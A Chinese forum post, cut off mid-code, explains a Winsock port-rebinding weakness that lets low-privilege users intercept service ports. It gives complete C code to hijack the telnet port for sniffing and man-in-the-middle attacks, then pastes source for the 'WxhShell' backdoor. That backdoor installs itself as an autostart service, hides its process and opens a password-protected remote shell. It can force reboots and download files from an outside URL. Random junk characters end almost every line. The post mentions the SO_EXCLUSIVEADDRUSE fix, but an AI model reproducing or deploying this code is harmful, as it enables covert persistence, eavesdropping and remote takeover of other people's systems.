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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t'7)aJMP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o3%+FWrVTS  
3D%I=p(  
  saddr.sin_family = AF_INET; H?O*  
t0hg!_$bq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "y5c)l(Rg  
MbjH\XRB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x+^iEj`gk  
/SP^fB*y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dZ;cs c@xv  
5a4;d+  
  这意味着什么?意味着可以进行如下的攻击: et)A$'Q  
`ZNz Dr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wVw3YIN#  
_`ot||J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?l bK;Kv  
@u$4{sjgf\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /|hKZTZJdN  
_H@S(!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $FCLo8/=  
Jf4D">h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `"/@LUso  
>'E'Mp.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fe`$mtPu.  
Ns&SZO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rN_\tulOF  
=j }]-!  
  #include C#vU'RNpl  
  #include 3kQky  
  #include |P~TZ  
  #include    Z>M0[DJ_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |<9 R%  
  int main() F8/4PB8-  
  { Q>= :$I  
  WORD wVersionRequested; M0n@?S  
  DWORD ret; 2z&HT SI  
  WSADATA wsaData; m!w(Q+*j  
  BOOL val; \vojF\  
  SOCKADDR_IN saddr; \%rX~UhZ=  
  SOCKADDR_IN scaddr; 6uR :/PTG  
  int err; bi[vs|  
  SOCKET s; JZ80|-c  
  SOCKET sc; *G2p;n=2  
  int caddsize; &5c)qap;n  
  HANDLE mt; zJXU>'obe  
  DWORD tid;   Tig`4d-%  
  wVersionRequested = MAKEWORD( 2, 2 ); O,XVA  
  err = WSAStartup( wVersionRequested, &wsaData ); ^%*%=LJm  
  if ( err != 0 ) { mI9~\k&9  
  printf("error!WSAStartup failed!\n"); K^?/  
  return -1; s$|GVv1B  
  } F0]NtKaH  
  saddr.sin_family = AF_INET; c?j/ H$  
   ~ B1)!5Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (4x`/  
sDw&U?gUv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /oE@F178  
  saddr.sin_port = htons(23); \_CC6J0k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O~l WFaW  
  { f*LDrAf9  
  printf("error!socket failed!\n"); qeHb0G  
  return -1; `A3"*,|z  
  } PzNk:O  
  val = TRUE; l]^uVOX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k G4v>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A0 x*feK?  
  { m".8-  
  printf("error!setsockopt failed!\n"); ]Dd=q6  
  return -1; 4*G#fW-  
  } Mp}aJzmkB;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j^mAJ5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g]N!_Ib/!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L+(5`Y  
Vw<=& w#K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9<G-uF  
  { N'=8Dj  
  ret=GetLastError(); k7'B5zVd  
  printf("error!bind failed!\n"); ;| )&aTdH  
  return -1; [N'YFb3"O  
  } M')f,5i&$  
  listen(s,2); 7[.aAGTZ;  
  while(1) }&bO;o&>  
  { 5@F1E8T  
  caddsize = sizeof(scaddr); z~UqA1r  
  //接受连接请求 cxp>4[gH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3g0[( ;  
  if(sc!=INVALID_SOCKET) [ ;  
  { ( Y'q%$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1#gveHm]-G  
  if(mt==NULL) mi`!'If0)  
  { H?m9HBDpn  
  printf("Thread Creat Failed!\n"); Fr`"XH  
  break; PsjSL8]  
  } \U\ W Q  
  } 6f v{?0|  
  CloseHandle(mt); T;-&3  
  } eR$qw#%c*  
  closesocket(s); 2I3MV:5  
  WSACleanup(); ,Tvfn`;(  
  return 0; Mxc0=I'a  
  }   [z'PdYQR/{  
  DWORD WINAPI ClientThread(LPVOID lpParam) wi|'pKG  
  { ]N!8U_U3  
  SOCKET ss = (SOCKET)lpParam; -iLp3m<ai  
  SOCKET sc; -hZlFAZi  
  unsigned char buf[4096]; 9nu!|reS  
  SOCKADDR_IN saddr; A9`& Wnw?  
  long num; 2"cUBFc1I  
  DWORD val; :* 4b,P  
  DWORD ret; om@GH0o+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;G |5kvE>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,qz$6oxh\  
  saddr.sin_family = AF_INET; ...|S]a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w@ALl#z;}  
  saddr.sin_port = htons(23); IlJ!jq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nYhI0q  
  { (&H-v'a}3  
  printf("error!socket failed!\n"); H$bu*o-Z  
  return -1; 8E`A`z  
  } outAZy=R;  
  val = 100; Q`j!$r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b1>zGC^|  
  { *~YU0o  
  ret = GetLastError(); yU<T_&M  
  return -1; C@3a/<6m  
  } _r@ FWUZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v0+mh]  
  { ;~CAHn|Fe  
  ret = GetLastError(); ve|ig]$5g<  
  return -1; `!V=~"ve  
  } plcz m 2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) { }Q!./5  
  { OE[| 1?3  
  printf("error!socket connect failed!\n"); W@Et  
  closesocket(sc); xn|M]E1)  
  closesocket(ss); "ld4v+o8l  
  return -1; 0' j/ 9vm  
  } -9W)|toWb"  
  while(1) O~D>F*_^j  
  { .K%1{`.|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wwo'pke  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >|Yr14?7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xvn@zi  
  num = recv(ss,buf,4096,0); j]Y`L?!Q  
  if(num>0) !:"$1kh1("  
  send(sc,buf,num,0); pbc<326X"  
  else if(num==0) 'b1k0 9'  
  break; 1X. E:  
  num = recv(sc,buf,4096,0); QfPsF@+-`7  
  if(num>0) k;BXt:jDq  
  send(ss,buf,num,0); Z'=:Bo{  
  else if(num==0) Ns ezUk8'  
  break; )zn`qaHK@e  
  } TC[(mf:8  
  closesocket(ss); "Bn8WT2?  
  closesocket(sc); CNU,\>J@$  
  return 0 ; nbd-f6F6  
  } Ilf;Q(*$>>  
w1>uD]  
X$mCn#8m  
========================================================== %?  87#|  
`_"F7Czn  
下边附上一个代码,,WXhSHELL A><w1-X&=o  
re}_+sv U  
========================================================== AIN Fv;  
EGJ d:>k  
#include "stdafx.h" f0!i<9<  
at<N?r  
#include <stdio.h> [ {@0/5i  
#include <string.h> )c432).Z  
#include <windows.h> B L^?1x  
#include <winsock2.h> VDy2 !0  
#include <winsvc.h> 0i|z$QRL~  
#include <urlmon.h> K9 G1>*  
ZH<: g6  
#pragma comment (lib, "Ws2_32.lib") oyfY>^bs  
#pragma comment (lib, "urlmon.lib") kz=Ql|@  
ZRCm'p3  
#define MAX_USER   100 // 最大客户端连接数 $F&m('aB8  
#define BUF_SOCK   200 // sock buffer kxvzAKz~  
#define KEY_BUFF   255 // 输入 buffer J]mG!#9  
yzI`&? P2  
#define REBOOT     0   // 重启 bn*SLWWQ.3  
#define SHUTDOWN   1   // 关机 };/;L[,G  
k{Ad(S4J&  
#define DEF_PORT   5000 // 监听端口 H<N$z 3k  
k4i*80  
#define REG_LEN     16   // 注册表键长度 o*5iHa(Qm  
#define SVC_LEN     80   // NT服务名长度 xOY %14%Y  
d1]1bN4`"0  
// 从dll定义API mc FSWmq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p<[gzmU9\b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E^K<b7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PPpq"c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B r`a;y T  
(D5sJ$&E@\  
// wxhshell配置信息 h&|PHI  
struct WSCFG { Mn> /\e  
  int ws_port;         // 监听端口 F x 4s)(  
  char ws_passstr[REG_LEN]; // 口令 (i2R1HCa  
  int ws_autoins;       // 安装标记, 1=yes 0=no uE'O}Y95  
  char ws_regname[REG_LEN]; // 注册表键名 _ZMAlC*$G  
  char ws_svcname[REG_LEN]; // 服务名 >(.GIR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AX{X:L8Ut2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GBg~NkC7.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f$y`tT %o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NpPuh9e{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j-$F@p_2F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `>1XL2  
#];b+ T  
}; Ga$J7 R  
Vd&&GI(:?^  
// default Wxhshell configuration gc6Zy|^V4`  
struct WSCFG wscfg={DEF_PORT,  WPu-P  
    "xuhuanlingzhe", yw@kh^L  
    1, NNgpDL*  
    "Wxhshell", * a ?qV  
    "Wxhshell", &2P=74\=  
            "WxhShell Service", s;!_'1pi@  
    "Wrsky Windows CmdShell Service", OL%KAEnD  
    "Please Input Your Password: ", ,%=SO 82W  
  1, V$?@ z>7  
  "http://www.wrsky.com/wxhshell.exe", D\H;_k8  
  "Wxhshell.exe" rWMG6+Scb  
    }; Q\moR^>  
{VmJVO]S  
// 消息定义模块 {9 .sW/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;udV"7C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~[@gu,Wb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w\}@+w3b~  
char *msg_ws_ext="\n\rExit."; !'qY  
char *msg_ws_end="\n\rQuit."; %iq8dAW%  
char *msg_ws_boot="\n\rReboot..."; \#(tI3  
char *msg_ws_poff="\n\rShutdown..."; &# < M o  
char *msg_ws_down="\n\rSave to "; G^%FP!'D?  
0d|DIT#>?  
char *msg_ws_err="\n\rErr!"; =bHS@h8N<  
char *msg_ws_ok="\n\rOK!"; Abc%VRsT  
*}h#'+  
char ExeFile[MAX_PATH]; Q94Lq~?YF  
int nUser = 0; 2 ":W^P  
HANDLE handles[MAX_USER]; 23p1Lb9P  
int OsIsNt; ~W..P:wG5  
DQI b57j  
SERVICE_STATUS       serviceStatus; ;R[w}#Sm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z<IN>:l  
]#sF pWI[N  
// 函数声明 pNnZ-R|u  
int Install(void); )45#lE3TH  
int Uninstall(void); MBn ZO  
int DownloadFile(char *sURL, SOCKET wsh); GoUsB|-\  
int Boot(int flag); q@=3`yQ  
void HideProc(void); e0:[,aF`  
int GetOsVer(void); %o  
int Wxhshell(SOCKET wsl); LX8A@Yct  
void TalkWithClient(void *cs); 259R5X<V  
int CmdShell(SOCKET sock); F%ffnEJg  
int StartFromService(void); xP7#`S6W  
int StartWxhshell(LPSTR lpCmdLine); )R^&u`k  
p>=i'~lQ6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v$)ZoM6E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /UG]hJ-wn  
vrq5 +K&||  
// 数据结构和表定义 uc>]-4  
SERVICE_TABLE_ENTRY DispatchTable[] = or qL0i  
{ uA[c$tBe  
{wscfg.ws_svcname, NTServiceMain}, p#aB0H3  
{NULL, NULL} zL!}YR@&u"  
}; S&J>15oWM`  
{oftZ Xwf  
// 自我安装 RRUv_sff  
int Install(void) xOt {Vsv  
{ %'w?fqk  
  char svExeFile[MAX_PATH]; @L,4JPk  
  HKEY key; 1:;S6{oQ  
  strcpy(svExeFile,ExeFile); 1smKU9B2)  
BVzMgn;  
// 如果是win9x系统,修改注册表设为自启动 $W;f9k@C!  
if(!OsIsNt) { SVn $!t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %7hf6Xo=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &dky_H  
  RegCloseKey(key); N;` jz(r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U ATF}x   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -P:o ^_)g  
  RegCloseKey(key); eA_]%7+`  
  return 0; @%"r69\  
    } LsxRK5   
  } {\vcwMUzZ  
} L_sDbAT~<  
else { EC/=JlL`5  
gvFs$X*^:  
// 如果是NT以上系统,安装为系统服务 e'|IRhr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zQ#2BOx1  
if (schSCManager!=0) 6L<QKE=  
{ S| |OSxZ  
  SC_HANDLE schService = CreateService $d*PY_  
  ( HChlkj'7w0  
  schSCManager, xnOd$]  
  wscfg.ws_svcname, aQ*?L l  
  wscfg.ws_svcdisp, | Di7 ,$c  
  SERVICE_ALL_ACCESS, y>>)Yo&|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A5E^1j}h@  
  SERVICE_AUTO_START, P%aNbMg  
  SERVICE_ERROR_NORMAL, `-w,6  
  svExeFile, WX* uhR  
  NULL, 8ByNaXMO6  
  NULL, u<JkP <"S  
  NULL, 3Z}v%=5 "  
  NULL, Bn{i+8I  
  NULL wx8Qz,Z  
  ); }R!t/ 8K  
  if (schService!=0) Ou`;HN;[  
  { \0n<6^y  
  CloseServiceHandle(schService); &Jd_@F#J  
  CloseServiceHandle(schSCManager); dUL*~%2I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FQ>y2n=<d  
  strcat(svExeFile,wscfg.ws_svcname); 9]vy#a#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^'p!#\T;H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zF@[S  
  RegCloseKey(key); qVW3oj<2  
  return 0; WK5B8u*<  
    } 4\E1M[6  
  } u'T?e+=  
  CloseServiceHandle(schSCManager); 4_-L1WH  
} LP'~7FG  
} Q`!^EyRA:^  
~t1?oJ  
return 1; DQ@M?~1hp  
} 2f6BZ8H+Z  
BvS!P8  
// 自我卸载 qr(t_qR&  
int Uninstall(void) yqC158 P  
{ AC*SmQ\>!  
  HKEY key; PqMu2 e  
R|92T*h  
if(!OsIsNt) { ;` h$xB(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lNz1|nS(Kd  
  RegDeleteValue(key,wscfg.ws_regname); Y;"jsK{$  
  RegCloseKey(key); y&V%xE/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +4+c zfz  
  RegDeleteValue(key,wscfg.ws_regname); i9|}-5ED  
  RegCloseKey(key); hU3sEOm>  
  return 0; + 2w<V0V_  
  } '~VF*i^4  
} rZ&li/Z  
} "E@A~<RKP  
else {  z31g"  
nRyx2\Py+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6rM{r>  
if (schSCManager!=0) vVZ+u4y  
{ L2c\i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7x]q>Y8T  
  if (schService!=0) D&x.io  
  { L|nFN}da  
  if(DeleteService(schService)!=0) { M/,lP  
  CloseServiceHandle(schService); NHcA6y$Cz  
  CloseServiceHandle(schSCManager); J+T tM>  
  return 0; -p"}K~lt:  
  } NiMsAI@j  
  CloseServiceHandle(schService); kQp*+ras  
  } )NK#}c~5  
  CloseServiceHandle(schSCManager); x)pR^t7u8  
} =y>CO:^G%  
} \Xe{vlo>h  
r$<M*z5q(\  
return 1; G#~U\QlG-  
} yg4#,4---b  
1\)C;c,  
// 从指定url下载文件 Res4;C  
int DownloadFile(char *sURL, SOCKET wsh) 5j v*C]z  
{ %f?Zg44  
  HRESULT hr; N_G84wxx  
char seps[]= "/"; a)L|kux;l  
char *token; F2{SC?U  
char *file; VUOe7c=  
char myURL[MAX_PATH]; R?y_tho4A  
char myFILE[MAX_PATH]; 4];>O  
5LZs_%#  
strcpy(myURL,sURL); P @Fx6  
  token=strtok(myURL,seps); $3g M P+  
  while(token!=NULL) "<Yxt"Z4  
  { <g&.UW4  
    file=token; ,g4T>7`&U%  
  token=strtok(NULL,seps); mi1^hl'2  
  } $KhD>4^ jL  
RY3=UeoF  
GetCurrentDirectory(MAX_PATH,myFILE); &- !$qUli  
strcat(myFILE, "\\"); l](!2a=[  
strcat(myFILE, file); Dbb=d8utE  
  send(wsh,myFILE,strlen(myFILE),0); e}n(mq  
send(wsh,"...",3,0); aPRMpY-YC3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qO/3:-  
  if(hr==S_OK) RR|X4h0.  
return 0; Igw2n{})w  
else ^*+j7A.n  
return 1; EPA 2_  
+p&zM3:9w  
} \T!,Z;zK  
%zo 6A1Q;  
// 系统电源模块 [mj=m?j  
int Boot(int flag) cB_9@0r[S  
{ J@QOF+&  
  HANDLE hToken; DliDBArxZ  
  TOKEN_PRIVILEGES tkp; k2fJ  
gvPHB+#A  
  if(OsIsNt) { S(^YTb7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &kn?=NW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BS?i!Bm7  
    tkp.PrivilegeCount = 1; 6pt|Crvu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R+!oPWfb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y; iI =U  
if(flag==REBOOT) { ] _W'-B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B.KK@  
  return 0; CEBu[TT/9  
} ]1eZ<le`6  
else { zo("v*d*q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I[b{*g2Zw  
  return 0; F/,6Jh  
} "kC6G%  
  } &ld<fa(w+2  
  else { :5'hd^Q  
if(flag==REBOOT) { yE.st9m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nf[KD,f  
  return 0; =T#hd7O`V  
} K4H27SH  
else { C~?p85  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (D6ks5Uui  
  return 0; 4sX? O4p  
} [mNum3e  
} !vVW8hbp  
IWm@pfC+g  
return 1; CIsX$W  
} =[[I<[BZq  
\}%_FnP0ZU  
// win9x进程隐藏模块 I2pE}6q  
void HideProc(void) LE~vSm^#  
{ vbX.0f "n  
y+=s/c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6 8fnh'I!  
  if ( hKernel != NULL ) /x]^Cqe  
  { LN5BU,4=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F_i"v5#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hN*v|LFf1  
    FreeLibrary(hKernel); _|4QrZ$n(  
  } .r&CIL >  
9V~hz (^  
return; 65VTKlDD  
} OoRg:"9{#  
q&O9W?E8dG  
// 获取操作系统版本 !)CY\c4}d>  
int GetOsVer(void) f3^qO9R  
{ SUIu.4Mz  
  OSVERSIONINFO winfo; O_GHvLO=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GT80k]e.  
  GetVersionEx(&winfo); B.smQt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MRZN4<}9  
  return 1; ZsCwNZR  
  else Nf2lw]-G4  
  return 0; 7xY&7 x(v  
} :7X{s4AU6  
V$:%CIn  
// 客户端句柄模块 ;8 *"c  
int Wxhshell(SOCKET wsl) ;CoD5F!  
{ T00sYoK  
  SOCKET wsh; ~IPATG  
  struct sockaddr_in client; U%Hcc k'  
  DWORD myID; ;Jb% 2?+=!  
PMX'vA`  
  while(nUser<MAX_USER) /J Y6S  
{ 3q@H8%jcw  
  int nSize=sizeof(client); a+CJJ3T-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A[`c+&  
  if(wsh==INVALID_SOCKET) return 1; ~(NFjCUY?  
1K)9fMr]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =h?%<2t9<  
if(handles[nUser]==0) C OL"/3r  
  closesocket(wsh); L_+ Fin  
else O*N:.|dUw  
  nUser++; 1W-kZ(e  
  } Lpnw(r9Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }5z!FXB  
#N'9F&:V$  
  return 0; %s5( ''a.  
} 33a}M;vx  
y5D3zqCG  
// 关闭 socket JDp=w,7LF  
void CloseIt(SOCKET wsh) gxe u2 HG  
{ nE0I[T(  
closesocket(wsh); ti]8_vP}*  
nUser--; .:B0(4Mj  
ExitThread(0); "jq6FT)O  
} o4j!:CI  
L$ ^ew0C  
// 客户端请求句柄 hv#LKyp%  
void TalkWithClient(void *cs) &N3a`Ua  
{ R!\._m?\h  
kFT*So`'  
  SOCKET wsh=(SOCKET)cs; zxd<Cq>d  
  char pwd[SVC_LEN]; EpCNp FQT<  
  char cmd[KEY_BUFF]; ?VTP|Z  
char chr[1]; V1,~GpNx  
int i,j; |TJu|zv^  
jxq89x  
  while (nUser < MAX_USER) { P8 w56  
}XRfHQk  
if(wscfg.ws_passstr) { ^L\w"`,~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); up~p_{x)Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5g'aNkF6>  
  //ZeroMemory(pwd,KEY_BUFF); 4 'vjU6gW  
      i=0;  j~cG#t]  
  while(i<SVC_LEN) { gF;C% }  
Ly1t'{"7  
  // 设置超时 bIk4?S  
  fd_set FdRead; M?n}{0E4  
  struct timeval TimeOut; mM+^v[=  
  FD_ZERO(&FdRead); h ^w# I  
  FD_SET(wsh,&FdRead); S3QX{5t\  
  TimeOut.tv_sec=8; BHNJH  
  TimeOut.tv_usec=0; {n<1uh9~$8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U D5hk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |h((SreO  
*Ct ^jU7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P`_Q-vu  
  pwd=chr[0]; a +9_sUq  
  if(chr[0]==0xd || chr[0]==0xa) { \!0~$?_)P  
  pwd=0; 3cNr~`7  
  break; o_ixdnc  
  } +4 D#Ht 7  
  i++; u=#_8e(9Z  
    } 3XUsw1,[  
k4^!"~<+0  
  // 如果是非法用户,关闭 socket S6_dmTV*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0nR_I^  
} <4;L& 3  
8lCo\T5"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vv`53 Pbw)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;jlI>;C;V  
2e({%P@2?  
while(1) { #,!/Cnqis  
!Pd)  
  ZeroMemory(cmd,KEY_BUFF); u 1Wixjd|  
:<1PCX2  
      // 自动支持客户端 telnet标准   =RlAOgJ  
  j=0; gA2]kZg  
  while(j<KEY_BUFF) { )Oj{x0{\Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sX`by\s,  
  cmd[j]=chr[0]; ,twm)%caU  
  if(chr[0]==0xa || chr[0]==0xd) { G49`a*Jn  
  cmd[j]=0; !4$o*{9Lx:  
  break; C}:_&^DQ  
  } nfE4rIE4  
  j++; >[P`$XkXd4  
    } `mN5sq  
>kDkvg1"  
  // 下载文件 Cv]$w(k  
  if(strstr(cmd,"http://")) { U/\LOIs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N'%l/  
  if(DownloadFile(cmd,wsh)) $n::w c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &>}f\ch/  
  else 0j' Xi_uM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y1{*AV6ev6  
  } eTY(~J#'  
  else { ] ; B`'Ia  
M-C>I;a  
    switch(cmd[0]) { #ePtfRzJ  
  A_5M\iN\  
  // 帮助 ( D@ U%  
  case '?': { ;!H]&2`'(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?T'a{ ~]R  
    break; ey U*20  
  } /@LUD=  
  // 安装 =UZQ` {  
  case 'i': { X@:@1+U  
    if(Install()) x J\>;$CY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 14h0$7  
    else qtS+01o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HQ/ Q"  
    break; |vh{Kb@  
    } ;n/04z  
  // 卸载 )zo:Bo .<  
  case 'r': { } FC(Z-g  
    if(Uninstall()) 'L veCi_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f;,^ ]mw  
    else tE:6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "!PN+gB  
    break; m Wh   
    } aByd,uSe)_  
  // 显示 wxhshell 所在路径 R!RgQwEak  
  case 'p': { ;0O>$|kg  
    char svExeFile[MAX_PATH]; nSbcq>3  
    strcpy(svExeFile,"\n\r"); " VSma  
      strcat(svExeFile,ExeFile); JP6+h>ft  
        send(wsh,svExeFile,strlen(svExeFile),0); e/<'HM T  
    break; KhNO xMZ  
    } JcW<<7R  
  // 重启 aq.Lnbi/X  
  case 'b': { g6;a2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2U'Vq  
    if(Boot(REBOOT)) E~c>LF_]Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JS(%:  
    else { DG 6W ^  
    closesocket(wsh); HP[M"u  
    ExitThread(0); }(w9[(K  
    } >8w=Vlp  
    break; GFYHt!&[\  
